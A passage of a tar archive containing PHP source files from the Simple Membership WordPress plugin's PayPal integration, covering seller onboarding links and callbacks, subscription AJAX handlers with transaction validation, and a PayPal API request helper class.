the request. $error_msg = $response->get_error_message();//Get the error from the WP_Error object. SwpmLog::log_simple_debug( 'Failed to post the request to the PayPal API. Error: ' . $error_msg, false ); return false; } $json = json_decode( $response['body'] ); $status_code = (int) wp_remote_retrieve_response_code( $response ); if ( ! isset( $json->client_id ) || ! isset( $json->client_secret ) ) { //Seller API credentials not found. Log error. if (isset( $json->error )) { //Try to get the error descrption (if present) $error_msg = isset($json->error_description)? $json->error_description : $json->error; } else { $error_msg = 'No client_id or client_secret found.'; } SwpmLog::log_simple_debug( 'Failed to get seller API credentials. Status code: '.$status_code.', Error msg: ' . $error_msg, false ); return false; } //Success. return the credentials. return array( 'client_id' => $json->client_id, 'client_secret' => $json->client_secret, 'payer_id' => $json->payer_id, ); } }�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������paypal/onboarding-related/class-swpm-paypal-onboarding.php������������������������������������������0000644�����������������00000020512�14720677707�0020021 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * A Helper class for PPCP Onboarding. */ class SWPM_PayPal_PPCP_Onboarding { protected static $instance; public static $account_connect_string = 'swpm_ppcp_account_connect'; public function __construct() { //NOP } /* * This needs to be a Singleton class. To make sure that the object and data is consistent throughout the onboarding process. */ public static function get_instance() { if (null === self::$instance) { self::$instance = new self(); } return self::$instance; } public static function generate_seller_nonce() { // Generate a random string of 40 characters. $random_string = substr(str_shuffle(str_repeat('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 5)), 0, 40); // Hash the string using sha256 $hashed_string = hash('sha256', $random_string); // Trim or pad the hashed string to ensure it is between 40 to 64 characters $output_string = substr($hashed_string, 0, 64); $output_string = str_pad($output_string, 64, '0'); $seller_nonce = $output_string; return $seller_nonce; } public static function generate_return_url_after_onboarding( $environment_mode = 'production' ){ $pp_settings_base_path = SWPM_PayPal_Main::$pp_api_connection_settings_menu_page; $base_url = admin_url($pp_settings_base_path); $query_args = array(); $query_args['swpm_ppcp_after_onboarding'] = '1'; $query_args['environment_mode'] = $environment_mode; $return_url = add_query_arg( $query_args, $base_url ); //Encode the return URL so when it is used as a query arg, it does not break the URL. $return_url_encoded = urlencode($return_url); return $return_url_encoded; } public static function get_signup_link( $environment_mode = 'production' ){ $seller_nonce = self::generate_seller_nonce(); $query_args = array(); $query_args['partnerId'] = SWPM_PayPal_Utility_Functions::get_partner_id_by_environment_mode( $environment_mode ); $query_args['product'] = 'PPCP';// 'EXPRESS_CHECKOUT'; $query_args['integrationType'] = 'FO'; $query_args['features'] = 'PAYMENT,REFUND,BILLING_AGREEMENT'; $query_args['partnerClientId'] = SWPM_PayPal_Utility_Functions::get_partner_client_id_by_environment_mode( $environment_mode ); $query_args['returnToPartnerUrl'] = self::generate_return_url_after_onboarding($environment_mode); //$query_args['partnerLogoUrl'] = ''; $query_args['displayMode'] = 'minibrowser'; $query_args['sellerNonce'] = $seller_nonce; $base_url = SWPM_PayPal_Utility_Functions::get_signup_url_by_environment_mode( $environment_mode ); $singup_link = add_query_arg( $query_args, $base_url ); //Example URL = 'https://www.paypal.com/bizsignup/partner/entry?partnerId=USVAEAM3FR5E2&product=PPCP&integrationType=FO&features=PAYMENT,REFUND&partnerClientId=AeO65uHbDsjjFBdx3DO6wffuH2wIHHRDNiF5jmNgXOC8o3rRKkmCJnpmuGzvURwqpyIv-CUYH9cwiuhX&returnToPartnerUrl=&partnerLogoUrl=&displayMode=minibrowser&sellerNonce=a575ab0ee0'; //Save the query args so it can be used for token generation using shared ID after the onboarding is complete. update_option('swpm_ppcp_connect_query_args_'.$environment_mode, $query_args); return $singup_link; } public function output_sandbox_onboarding_link_code() { $sandbox_singup_link = self::get_signup_link('sandbox'); $wp_nonce = wp_create_nonce( self::$account_connect_string ); $ajax_post_url = admin_url('admin-ajax.php'); ?> <script> function swpm_ppcp_onboarded_callback_sandbox(authCode, sharedId) { console.log('SWPM PayPal Sandbox Onboarded-Callback'); //Send the authCode and sharedId to your server and do the next steps. //You can use the sellerNonce to identify the user. data = JSON.stringify({ authCode: authCode, sharedId: sharedId, environment: 'sandbox', }); const formData = new FormData(); formData.append('action', 'swpm_handle_onboarded_callback_data'); formData.append('data', data); formData.append('_wpnonce', '<?php echo $wp_nonce; ?>'); //Post the AJAX request to the server. fetch('<?php echo $ajax_post_url; ?>', { method: 'POST', body: formData, }).then(response => response.json()) .then(result => { //The AJAX post request was successful. Need to check if the processing was successful. //The response.json() method is used to parse the response as JSON. Then, the result object contains the parsed JSON response. if(result.success){ //All good. console.log('Successfully processed the handle_onboarded_callback_data.'); } else { alert("Error: " + result.msg); } }).catch(function(err) { console.error(err); alert("Something went wrong with the AJAX request on this server! See the console log for more details."); }) return false; } </script> <a class="button button-primary direct" target="_blank" data-paypal-onboard-complete="swpm_ppcp_onboarded_callback_sandbox" href="<?php echo ($sandbox_singup_link); ?>" data-paypal-button="true">Activate PayPal Sandbox</a> <script id="paypal-js" src="https://www.sandbox.paypal.com/webapps/merchantboarding/js/lib/lightbox/partner.js"></script> <?php } public function output_sandbox_ac_disconnect_link(){ $disonnect_link_path = SWPM_PayPal_Main::$pp_api_connection_settings_menu_page . '&swpm_ppcp_disconnect_sandbox=1'; $sandbox_disconnect_url = admin_url($disonnect_link_path); $ac_disconnect_nonce = wp_create_nonce('swpm_ac_disconnect_nonce_sandbox'); $sandbox_disconnect_url_nonced = add_query_arg('_wpnonce', $ac_disconnect_nonce, $sandbox_disconnect_url); echo '<a class="button" href="' . $sandbox_disconnect_url_nonced . '" onclick="return confirm(\'Are you sure you want to disconnect the PayPal sandbox account?\')">Disconnect Sandbox Account</a>'; } public function output_production_onboarding_link_code() { //We need to separate JavaScript functions to handle the after onbarding callback. So we are using different function names. $singup_link = self::get_signup_link('production'); $wp_nonce = wp_create_nonce( self::$account_connect_string ); $ajax_post_url = admin_url('admin-ajax.php'); ?> <script> function swpm_ppcp_onboarded_callback_production(authCode, sharedId) { console.log('SWPM PayPal Production Onboarded-Callback'); //Send the authCode and sharedId to your server and do the next steps. //You can use the sellerNonce to identify the user. data = JSON.stringify({ authCode: authCode, sharedId: sharedId, environment: 'production', }); const formData = new FormData(); formData.append('action', 'swpm_handle_onboarded_callback_data'); formData.append('data', data); formData.append('_wpnonce', '<?php echo $wp_nonce; ?>'); //Post the AJAX request to the server. fetch('<?php echo $ajax_post_url; ?>', { method: 'POST', body: formData, }).then(response => response.json()) .then(result => { //The AJAX post request was successful. Need to check if the processing was successful. //The response.json() method is used to parse the response as JSON. Then, the result object contains the parsed JSON response. if(result.success){ //All good. console.log('Successfully processed the handle_onboarded_callback_data.'); } else { alert("Error: " + result.msg); } }).catch(function(err) { console.error(err); alert("Something went wrong with the AJAX request on this server! See the console log for more details."); }) return false; } </script> <a class="button button-primary direct" target="_blank" data-paypal-onboard-complete="swpm_ppcp_onboarded_callback_production" href="<?php echo ($singup_link); ?>" data-paypal-button="true">Activate PayPal</a> <script id="paypal-js" src="https://www.paypal.com/webapps/merchantboarding/js/lib/lightbox/partner.js"></script> <?php } public function output_production_ac_disconnect_link(){ $disonnect_link_path = SWPM_PayPal_Main::$pp_api_connection_settings_menu_page . '&swpm_ppcp_disconnect_production=1'; $disconnect_url = admin_url($disonnect_link_path); $ac_disconnect_nonce = wp_create_nonce('swpm_ac_disconnect_nonce_production'); $disconnect_url_nonced = add_query_arg('_wpnonce', $ac_disconnect_nonce, $disconnect_url); echo '<a class="button" href="' . $disconnect_url_nonced . '" onclick="return confirm(\'Are you sure you want to disconnect the PayPal account?\')">Disconnect PayPal Account</a>'; } }��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������paypal/class-swpm-paypal-button-sub-ajax-handler.php������������������������������������������������0000644�����������������00000044547�14720677707�0016613 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This clcass handles the ajax request from the PayPal OnApprove event (the onApprove event is triggered from the Button's JS code on successful transaction). * It creates the required $ipn_data array from the transaction so it can be fed into the existing IPN handler functions easily. */ class SWPM_PayPal_Button_Sub_Ajax_Hander { public $ipn_data = array(); public function __construct() { //Handle it at 'wp_loaded' since custom post types will also be available at that point. add_action( 'wp_loaded', array(&$this, 'setup_ajax_request_actions' ) ); } /** * Setup the ajax request actions. */ public function setup_ajax_request_actions() { //Handle the create subscription via API ajax request add_action( 'wp_ajax_swpm_pp_create_subscription', array(&$this, 'swpm_pp_create_subscription' ) ); add_action( 'wp_ajax_nopriv_swpm_pp_create_subscription', array(&$this, 'swpm_pp_create_subscription' ) ); //Handle the onApprove ajax request for 'Subscription' type buttons add_action( 'wp_ajax_swpm_onapprove_process_subscription', array(&$this, 'swpm_onapprove_process_subscription' ) ); add_action( 'wp_ajax_nopriv_swpm_onapprove_process_subscription', array(&$this, 'swpm_onapprove_process_subscription' ) ); } /** * Handle the create-subscription ajax request for 'Subscription' type buttons. */ public function swpm_pp_create_subscription(){ //We will create a plan for the button (if needed). Then create a subscription for the user and return the subscription ID. //https://developer.paypal.com/docs/api/subscriptions/v1/#plans_create //Get the data from the request $data = isset( $_POST['data'] ) ? stripslashes_deep( $_POST['data'] ) : array(); if ( empty( $data ) ) { wp_send_json( array( 'success' => false, 'err_msg' => __( 'Empty data received.', 'simple-membership' ), ) ); } if( !is_array( $data ) ){ //Convert the JSON string to an array (Vanilla JS AJAX data will be in JSON format). $data = json_decode( $data, true); } $button_id = isset( $data['button_id'] ) ? sanitize_text_field( $data['button_id'] ) : ''; $on_page_button_id = isset( $data['on_page_button_id'] ) ? sanitize_text_field( $data['on_page_button_id'] ) : ''; SwpmLog::log_simple_debug( 'swpm_pp_create_subscription ajax request received for createSubscription. Button ID: '.$button_id.', On Page Button ID: ' . $on_page_button_id, true ); // Check nonce. if ( ! check_ajax_referer( $on_page_button_id, '_wpnonce', false ) ) { wp_send_json( array( 'success' => false, 'err_msg' => __( 'Nonce check failed. The page was most likely cached. Please reload the page and try again.', 'simple-membership' ), ) ); exit; } /************************** * Get the PayPal Plan ID * **************************/ //Get the plan ID (or create a new plan if needed) for the button. $plan_id = get_post_meta( $button_id, 'pp_subscription_plan_id', true ); $plan_create_error_msg = ''; if( empty( $plan_id )){ //Need to create a new plan $ret = SWPM_PayPal_Utility_Functions::create_billing_plan_for_button( $button_id ); if( $ret['success'] === true ){ $plan_id = $ret['plan_id']; SwpmLog::log_simple_debug( 'Created new PayPal subscription plan for button ID: ' . $button_id . ', Plan ID: ' . $plan_id, true ); } else { $plan_create_error_msg = 'Error! Could not create the PayPal subscription plan for the button. Error message: ' . esc_attr( $ret['error_message'] ); } } else { //Check if this plan exists in the PayPal account. if( !SWPM_PayPal_Utility_Functions::check_billing_plan_exists( $plan_id ) ){ //The plan ID does not exist in the PayPal account. Maybe the plan was created earlier in a different mode or using a different paypal account. //We need to create a fresh new plan for this button. $ret = SWPM_PayPal_Utility_Functions::create_billing_plan_fresh_new( $button_id ); if( $ret['success'] === true ){ $plan_id = $ret['plan_id']; SwpmLog::log_simple_debug( 'Created new PayPal subscription plan for button ID: ' . $button_id . ', Plan ID: ' . $plan_id, true ); } else { $plan_create_error_msg = 'Error! Could not create the PayPal subscription plan for the button. Error message: ' . esc_attr( $ret['error_message'] ); } } } //Check if any error occurred while creating the plan. if( !empty( $plan_create_error_msg ) ){ SwpmLog::log_simple_debug( $plan_create_error_msg, false ); wp_send_json( array( 'success' => false, 'err_msg' => $plan_create_error_msg, ) ); exit; } /************************************* * Create the subscription on PayPal * ************************************/ //Going to create the subscription by making the PayPal API call. $api_injector = new SWPM_PayPal_Request_API_Injector(); //Set the additional args for the API call. $additional_args = array(); $additional_args['return_response_body'] = true; $response = $api_injector->create_paypal_subscription_for_billing_plan( $plan_id, $data, $additional_args ); //We requested the full response body to be returned, so we need to JSON decode it. if( $response !== false ){ //JSON decode the response body to an array. $sub_data = json_decode( $response, true ); $paypal_sub_id = isset( $sub_data['id'] ) ? $sub_data['id'] : ''; } else { //Failed to create the order. wp_send_json( array( 'success' => false, 'err_msg' => __( 'Failed to create the subscription using PayPal API. Enable the debug logging feature to get more details.', 'simple-membership' ), ) ); exit; } //Uncomment the following line to see more details of the subscription data. //SwpmLog::log_array_data_to_debug( $sub_data, true ); SwpmLog::log_simple_debug( 'PayPal Subscription ID: ' . $paypal_sub_id, true ); //If everything is processed successfully, send the success response. wp_send_json( array( 'success' => true, 'subscription_id' => $paypal_sub_id, 'sub_data' => $sub_data ) ); exit; } /** * Handle the onApprove ajax request for 'Subscription' type buttons */ public function swpm_onapprove_process_subscription(){ //Get the data from the request $data = isset( $_POST['data'] ) ? json_decode( stripslashes_deep( $_POST['data'] ), true ) : array(); if ( empty( $data ) ) { wp_send_json( array( 'success' => false, 'err_msg' => __( 'Empty data received.', 'simple-membership' ), ) ); } //SwpmLog::log_array_data_to_debug( $data, true );//Debugging only $on_page_button_id = isset( $data['on_page_button_id'] ) ? sanitize_text_field( $data['on_page_button_id'] ) : ''; SwpmLog::log_simple_debug( 'OnApprove ajax request received for createSubscription. On Page Button ID: ' . $on_page_button_id, true ); // Check nonce. if ( ! check_ajax_referer( $on_page_button_id, '_wpnonce', false ) ) { wp_send_json( array( 'success' => false, 'err_msg' => __( 'Nonce check failed. The page was most likely cached. Please reload the page and try again.', 'simple-membership' ), ) ); exit; } //Get the transaction data from the request $txn_data = isset( $_POST['txn_data'] ) ? json_decode( stripslashes_deep( $_POST['txn_data'] ), true ) : array(); if ( empty( $txn_data ) ) { wp_send_json( array( 'success' => false, 'err_msg' => __( 'Empty transaction data received.', 'simple-membership' ), ) ); } //SwpmLog::log_array_data_to_debug( $txn_data, true );//Debugging only. //Create the IPN data array from the transaction data. $this->create_ipn_data_array_from_create_subscription_txn_data( $data, $txn_data ); //SwpmLog::log_array_data_to_debug( $this->ipn_data, true );//Debugging only. //Validate the subscription txn data before using it. $validation_response = $this->validate_subscription_checkout_txn_data( $data, $txn_data ); if( $validation_response !== true ){ wp_send_json( array( 'success' => false, 'err_msg' => $validation_response, ) ); exit; } //Process the IPN data array SwpmLog::log_simple_debug( 'Validation passed. Going to create/update member account and save transaction data.', true ); SWPM_PayPal_Utility_IPN_Related::create_membership_and_save_txn_data( $data, $txn_data, $this->ipn_data ); // Trigger the IPN processed action hook (so other plugins can can listen for this event). do_action( 'swpm_paypal_subscription_checkout_ipn_processed', $this->ipn_data ); do_action( 'swpm_payment_ipn_processed', $this->ipn_data ); //If everything is processed successfully, send the success response. wp_send_json( array( 'success' => true ) ); exit; } public function create_ipn_data_array_from_create_subscription_txn_data( $data, $txn_data ) { $ipn = array(); //Get the custom field value from the request $custom = isset($data['custom_field']) ? $data['custom_field'] : ''; $custom = urldecode( $custom );//Decode it just in case it was encoded. if(isset($data['orderID'])){ //Add the PayPal API orderID value to the reference parameter. So it gets saved with custom field data. This will be used to also save it to the reference DB column field when saving the transaction. $data['custom_field'] = $custom . '&reference=' . $data['orderID']; } $customvariables = SwpmTransactions::parse_custom_var( $custom ); $billing_info = isset($txn_data['billing_info']) ? $txn_data['billing_info'] : array(); $address_street = isset($txn_data['subscriber']['shipping_address']['address']['address_line_1']) ? $txn_data['subscriber']['shipping_address']['address']['address_line_1'] : ''; if ( isset ( $txn_data['subscriber']['shipping_address']['address']['address_line_2'] )){ //If address line 2 is present, add it to the address. $address_street .= ", " . $txn_data['subscriber']['shipping_address']['address']['address_line_2']; } //Set the gateway and txn_type values. $ipn['gateway'] = 'paypal_subscription_checkout'; $ipn['txn_type'] = 'pp_subscription_new'; //The custom field value. $ipn['custom'] = isset($data['custom_field']) ? $data['custom_field'] : ''; //This will save the button ID (in the save_txn_record function) in the swpm_transactions CPT (for a reference to the button used for the payment) $ipn['payment_button_id'] = isset($data['button_id']) ? $data['button_id'] : ''; //If the subscription is for live mode or sandbox mode. We will use this to set the 'is_live' flag in the swpm_transactions CPT. $settings = SwpmSettings::get_instance(); $sandbox_enabled = $settings->get_value( 'enable-sandbox-testing' ); $ipn['is_live'] = empty($sandbox_enabled) ? 'yes' : 'no';//We need to save the environment (live or sandbox) of the subscription. $ipn['item_number'] = isset($data['button_id']) ? $data['button_id'] : ''; $ipn['item_name'] = isset($data['item_name']) ? $data['item_name'] : ''; $ipn['plan_id'] = isset($txn_data['plan_id']) ? $txn_data['plan_id'] : '';//The plan ID of the subscription $ipn['subscr_id'] = isset($data['subscriptionID']) ? $data['subscriptionID'] : '';//The subscription ID $ipn['create_time'] = isset($txn_data['create_time']) ? $txn_data['create_time'] : ''; //The transaction ID is not available in the create/activate subscription response. So we will just use the order ID here. //The subscription capture happens in the background. So if we want to use the get transactions list API to get the transaction ID of the first transaction, we will need to do that later using cronjob maybe. $ipn['txn_id'] = isset($data['orderID']) ? $data['orderID'] : ''; $ipn['status'] = __('subscription created', 'simple-membership'); $ipn['payment_status'] = __('subscription created', 'simple-membership'); $ipn['subscription_status'] = isset($txn_data['status']) ? $txn_data['status'] : '';//Can be used to check if the subscription is active or not (in the webhook handler) //Amount and currency. $ipn['mc_gross'] = isset($txn_data['billing_info']['last_payment']['amount']['value']) ? $txn_data['billing_info']['last_payment']['amount']['value'] : 0; $ipn['mc_currency'] = isset($txn_data['billing_info']['last_payment']['amount']['currency_code']) ? $txn_data['billing_info']['last_payment']['amount']['currency_code'] : ''; if( $this->is_trial_payment( $billing_info )){ //TODO: May need to get the trial amount from the 'cycle_executions' array $ipn['is_trial_txn'] = 'yes'; } $ipn['quantity'] = 1; // customer info. $ipn['ip'] = isset($customvariables['user_ip']) ? $customvariables['user_ip'] : ''; $ipn['first_name'] = isset($txn_data['subscriber']['name']['given_name']) ? $txn_data['subscriber']['name']['given_name'] : ''; $ipn['last_name'] = isset($txn_data['subscriber']['name']['surname']) ? $txn_data['subscriber']['name']['surname'] : ''; $ipn['payer_email'] = isset($txn_data['subscriber']['email_address']) ? $txn_data['subscriber']['email_address'] : ''; $ipn['payer_id'] = isset($txn_data['subscriber']['payer_id']) ? $txn_data['subscriber']['payer_id'] : ''; $ipn['address_street'] = $address_street; $ipn['address_city'] = isset($txn_data['subscriber']['shipping_address']['address']['admin_area_2']) ? $txn_data['subscriber']['shipping_address']['address']['admin_area_2'] : ''; $ipn['address_state'] = isset($txn_data['subscriber']['shipping_address']['address']['admin_area_1']) ? $txn_data['subscriber']['shipping_address']['address']['admin_area_1'] : ''; $ipn['address_zip'] = isset($txn_data['subscriber']['shipping_address']['address']['postal_code']) ? $txn_data['subscriber']['shipping_address']['address']['postal_code'] : ''; $country_code = isset($txn_data['subscriber']['shipping_address']['address']['country_code']) ? $txn_data['subscriber']['shipping_address']['address']['country_code'] : ''; $ipn['address_country'] = SwpmMiscUtils::get_country_name_by_country_code($country_code); //Additional variables //$ipn['reason_code'] = $txn_data['reason_code']; $this->ipn_data = $ipn; } public function is_trial_payment( $billing_info ) { if( isset( $billing_info['cycle_executions'][0]['tenure_type'] ) && ($billing_info['cycle_executions'][0]['tenure_type'] === 'TRIAL')){ return true; } return false; } /** * Validate that the subscription exists in PayPal and the price matches the price in the DB. */ public function validate_subscription_checkout_txn_data( $data, $txn_data ) { //Get the subscription details from PayPal API endpoint - v1/billing/subscriptions/{$subscription_id} $subscription_id = $data['subscriptionID']; $button_id = $data['button_id']; $validation_error_msg = ''; //This is for on-site checkout only. So the 'mode' and API creds will be whatever is currently set in the settings. $api_injector = new SWPM_PayPal_Request_API_Injector(); $sub_details = $api_injector->get_paypal_subscription_details( $subscription_id ); if( $sub_details !== false ){ $billing_info = $sub_details->billing_info; if(is_object($billing_info)){ //Convert the object to an array. $billing_info = json_decode(json_encode($billing_info), true); } //SwpmLog::log_array_data_to_debug( $billing_info, true );//Debugging only. $tenure_type = isset($billing_info['cycle_executions'][0]['tenure_type']) ? $billing_info['cycle_executions'][0]['tenure_type'] : ''; //'REGULAR' or 'TRIAL' $sequence = isset($billing_info['cycle_executions'][0]['sequence']) ? $billing_info['cycle_executions'][0]['sequence'] : '';//1, 2, 3, etc. $cycles_completed = isset($billing_info['cycle_executions'][0]['cycles_completed']) ? $billing_info['cycle_executions'][0]['cycles_completed'] : '';//1, 2, 3, etc. SwpmLog::log_simple_debug( 'Subscription tenure type: ' . $tenure_type . ', Sequence: ' . $sequence . ', Cycles Completed: '. $cycles_completed, true ); //Tenure type - 'REGULAR' or 'TRIAL' $tenure_type = isset($billing_info['cycle_executions'][0]['tenure_type']) ? $billing_info['cycle_executions'][0]['tenure_type'] : 'REGULAR'; //If tenure type is 'TRIAL', check that this button has a trial period. if( $tenure_type === 'TRIAL' ){ SwpmLog::log_simple_debug('Trial payment detected.', true);//TODO - remove later. //Check that the button has a trial period. $trial_billing_cycle = get_post_meta( $button_id, 'trial_billing_cycle', true ); if( empty($trial_billing_cycle) ){ //This button does not have a trial period. So this is not a valid trial payment. $validation_error_msg = 'Validation Error! This is a trial payment but the button does not have a trial period configured. Button ID: ' . $button_id . ', Subscription ID: ' . $subscription_id; SwpmLog::log_simple_debug( $validation_error_msg, false ); return $validation_error_msg; } } else { //This is a regular subscription checkout (without trial). Check that the price matches. $amount = isset($billing_info['last_payment']['amount']['value']) ? $billing_info['last_payment']['amount']['value'] : 0; $recurring_billing_amount = get_post_meta( $button_id, 'recurring_billing_amount', true ); if( $amount < $recurring_billing_amount ){ //The amount does not match. $validation_error_msg = 'Validation Error! The subscription amount does not match. Button ID: ' . $button_id . ', Subscription ID: ' . $subscription_id . ', Amount Received: ' . $amount . ', Amount Expected: ' . $recurring_billing_amount; SwpmLog::log_simple_debug( $validation_error_msg, false ); return $validation_error_msg; } //Check that the Currency code matches $currency = isset($billing_info['last_payment']['amount']['currency_code']) ? $billing_info['last_payment']['amount']['currency_code'] : ''; $currency_expected = get_post_meta( $button_id, 'payment_currency', true ); if( $currency !== $currency_expected ){ //The currency does not match. $validation_error_msg = 'Validation Error! The subscription currency does not match. Button ID: ' . $button_id . ', Subscription ID: ' . $subscription_id . ', Currency Received: ' . $currency . ', Currency Expected: ' . $currency_expected; SwpmLog::log_simple_debug( $validation_error_msg, false ); return $validation_error_msg; } } } else { //Error getting subscription details. $validation_error_msg = 'Validation Error! Failed to get subscription details from the PayPal API. Subscription ID: ' . $subscription_id; //TODO - Show additional error details if available. SwpmLog::log_simple_debug( $validation_error_msg, false ); return $validation_error_msg; } //All good. The data is valid. return true; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������paypal/class-swpm-paypal-main.php�������������������������������������������������������������������0000644�����������������00000007402�14720677707�0013066 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php //Includes include_once( SIMPLE_WP_MEMBERSHIP_PATH . 'lib/paypal/class-swpm-paypal-request-api.php' ); include_once( SIMPLE_WP_MEMBERSHIP_PATH . 'lib/paypal/class-swpm-paypal-request-api-injector.php' ); include_once( SIMPLE_WP_MEMBERSHIP_PATH . 'lib/paypal/class-swpm-paypal-js-button-embed.php' ); include_once( SIMPLE_WP_MEMBERSHIP_PATH . 'lib/paypal/class-swpm-paypal-subsc-billing-plan.php' ); include_once( SIMPLE_WP_MEMBERSHIP_PATH . 'lib/paypal/class-swpm-paypal-webhook.php' ); include_once( SIMPLE_WP_MEMBERSHIP_PATH . 'lib/paypal/class-swpm-paypal-webhook-event-handler.php' ); include_once( SIMPLE_WP_MEMBERSHIP_PATH . 'lib/paypal/class-swpm-paypal-utility-functions.php' );//Misc project specific utility functions. include_once( SIMPLE_WP_MEMBERSHIP_PATH . 'lib/paypal/class-swpm-paypal-utility-ipn-related.php' );//Misc IPN related utility functions. include_once( SIMPLE_WP_MEMBERSHIP_PATH . 'lib/paypal/class-swpm-paypal-cache.php' ); include_once( SIMPLE_WP_MEMBERSHIP_PATH . 'lib/paypal/class-swpm-paypal-bearer.php' ); include_once( SIMPLE_WP_MEMBERSHIP_PATH . 'lib/paypal/class-swpm-paypal-button-ajax-handler.php' );//Standard button related ajax handler. include_once( SIMPLE_WP_MEMBERSHIP_PATH . 'lib/paypal/class-swpm-paypal-button-sub-ajax-handler.php' );//Subscription button related ajax handler. include_once( SIMPLE_WP_MEMBERSHIP_PATH . 'lib/paypal/class-swpm-paypal-acdc-related.php' ); //Onboarding related includes include_once( SIMPLE_WP_MEMBERSHIP_PATH . 'lib/paypal/onboarding-related/class-swpm-paypal-onboarding.php' );//PPCP Onboarding related functions. include_once( SIMPLE_WP_MEMBERSHIP_PATH . 'lib/paypal/onboarding-related/class-swpm-paypal-onboarding-serverside.php' );//PPCP Onboarding serverside helper. /** * The Main class to handle the new PayPal library related tasks. * It initializes when this file is inlcuded. */ class SWPM_PayPal_Main { public static $api_base_url_production = 'https://api-m.paypal.com'; public static $api_base_url_sandbox = 'https://api-m.sandbox.paypal.com'; public static $signup_url_production = 'https://www.paypal.com/bizsignup/partner/entry'; public static $signup_url_sandbox = 'https://www.sandbox.paypal.com/bizsignup/partner/entry'; public static $partner_id_production = '3FWGC6LFTMTUG';//Same as the partner's merchant id of the live account. public static $partner_id_sandbox = '47CBLN36AR4Q4';// Same as the merchant id of the platform app sandbox account. public static $partner_client_id_production = 'AWo6ovbrHzKZ3hHFJ7APISP4MDTjes-rJPrIgyFyKmbH-i8iaWQpmmaV5hyR21m-I6f_APG6n2rkZbmR'; //Platform app's client id. public static $partner_client_id_sandbox = 'AeO65uHbDsjjFBdx3DO6wffuH2wIHHRDNiF5jmNgXOC8o3rRKkmCJnpmuGzvURwqpyIv-CUYH9cwiuhX'; public static $pp_api_connection_settings_menu_page = 'admin.php?page=simple_wp_membership_payments&tab=payment_settings&subtab=ps_pp_api'; public function __construct() { if ( isset( $_GET['action'] ) && $_GET['action'] == 'swpm_paypal_webhook_event' && isset( $_GET['mode'] )) { //Register action (to handle webhook) only on our webhook notification URL. new SWPM_PayPal_Webhook_Event_Handler(); } //Initialize the PayPal Ajax Create and Capture Order Class so it can handle the ajax request(s). new SWPM_PayPal_Button_Ajax_Hander(); //Initialize the PayPal Subscription Button Related Ajax Class so it can handle the ajax request(s). new SWPM_PayPal_Button_Sub_Ajax_Hander(); //Initialize the PayPal ACDC related class so it can handle the ajax request(s). new SWPM_PayPal_ACDC_Related(); //Initialize the PayPal onboarding serverside class so it can handle the 'onboardedCallback' ajax request. new SWPM_PayPal_PPCP_Onboarding_Serverside(); } } new SWPM_PayPal_Main(); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������paypal/class-swpm-paypal-request-api-injector.php���������������������������������������������������0000644�����������������00000047631�14720677707�0016224 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /* * Contains functions that can be used to inject certain API requests using the SWPM_PayPal_Request_API class. */ class SWPM_PayPal_Request_API_Injector { protected $paypal_req_api; protected $mode; protected $live_client_id; protected $live_secret; protected $sandbox_client_id; protected $sandbox_secret; public function __construct() { //Setup the PayPal API request object so that the injector can use it to make pre-made API requests easily. $settings = SwpmSettings::get_instance(); $this->live_client_id = $settings->get_value('paypal-live-client-id'); $this->live_secret = $settings->get_value('paypal-live-secret-key'); $this->sandbox_client_id = $settings->get_value('paypal-sandbox-client-id'); $this->sandbox_secret = $settings->get_value('paypal-sandbox-secret-key'); $sandbox_enabled = $settings->get_value('enable-sandbox-testing'); $this->mode = $sandbox_enabled ? 'sandbox' : 'production'; $paypal_req_api = SWPM_PayPal_Request_API::get_instance(); $paypal_req_api->set_mode_and_api_credentials( $this->mode, $this->live_client_id, $this->live_secret, $this->sandbox_client_id, $this->sandbox_secret ); $this->paypal_req_api = $paypal_req_api; } /** * Sets the webhook mode. Used to override/set the mode (if needed) after the object is created. */ public function set_mode_and_api_creds_based_on_mode( $mode ) { //Set the mode. $this->mode = $mode; //Set the API credentials for the Req_API object based on the mode. $paypal_req_api = SWPM_PayPal_Request_API::get_instance(); $paypal_req_api->set_mode_and_api_credentials( $mode, $this->live_client_id, $this->live_secret, $this->sandbox_client_id, $this->sandbox_secret ); $this->paypal_req_api = $paypal_req_api; } public function get_last_error_from_api_call(){ return $this->paypal_req_api->get_last_error(); } public function set_paypal_req_api( $paypal_req_api ){ //Set a particular request ojbect for API call. Useful for testing purposes. $this->paypal_req_api = $paypal_req_api; } public function get_paypal_req_api(){ return $this->paypal_req_api; } /* * Creates a product then uses that product to create a billing plan. * @return - plan_id if successful. false if any of the steps fail. */ public function create_product_and_billing_plan( $product_params, $subsc_args ){ //First create a paypal product $product_name = isset($product_params['name']) ? $product_params['name'] : ''; $paypal_product_id = $this->create_paypal_product_for_plan($product_params); if( $paypal_product_id === false ){ //Failed to create product. Do debug logging. Error checking will be done by the fn caller. return false; } //Create billing plan $pp_subsc_billing_plan = new SWPM_PayPal_Subsc_Billing_Plan(); $billing_cycles = $pp_subsc_billing_plan->construct_billing_cycles_param( $subsc_args ); $plan_args = array( 'plan_name' => 'Billing plan for ' . $product_name, 'paypal_product_id' => $paypal_product_id, 'billing_cycles' => $billing_cycles, 'sub_recur_reattemp' => 1, ); $plan_api_params = $pp_subsc_billing_plan->construct_create_billing_plan_api_params($plan_args); $created_plan_id = $this->create_paypal_billing_plan($plan_api_params); if( $created_plan_id === false ){ //Failed to create billing plan. Do debug logging. Error checking will be done by the fn caller. return false; } return $created_plan_id; } /* * Gets a list of all the existing paypal products. * @return - an array of products object on success. false on error. */ public function get_paypal_products_list(){ $endpoint = '/v1/catalogs/products'; $params = array(); $response = $this->paypal_req_api->get($endpoint, $params); if ( $response !== false){ $products = $response->products; //foreach($products as $product){ // echo '<br />Product ID: ' . $product->id; //} return $products; } else { return 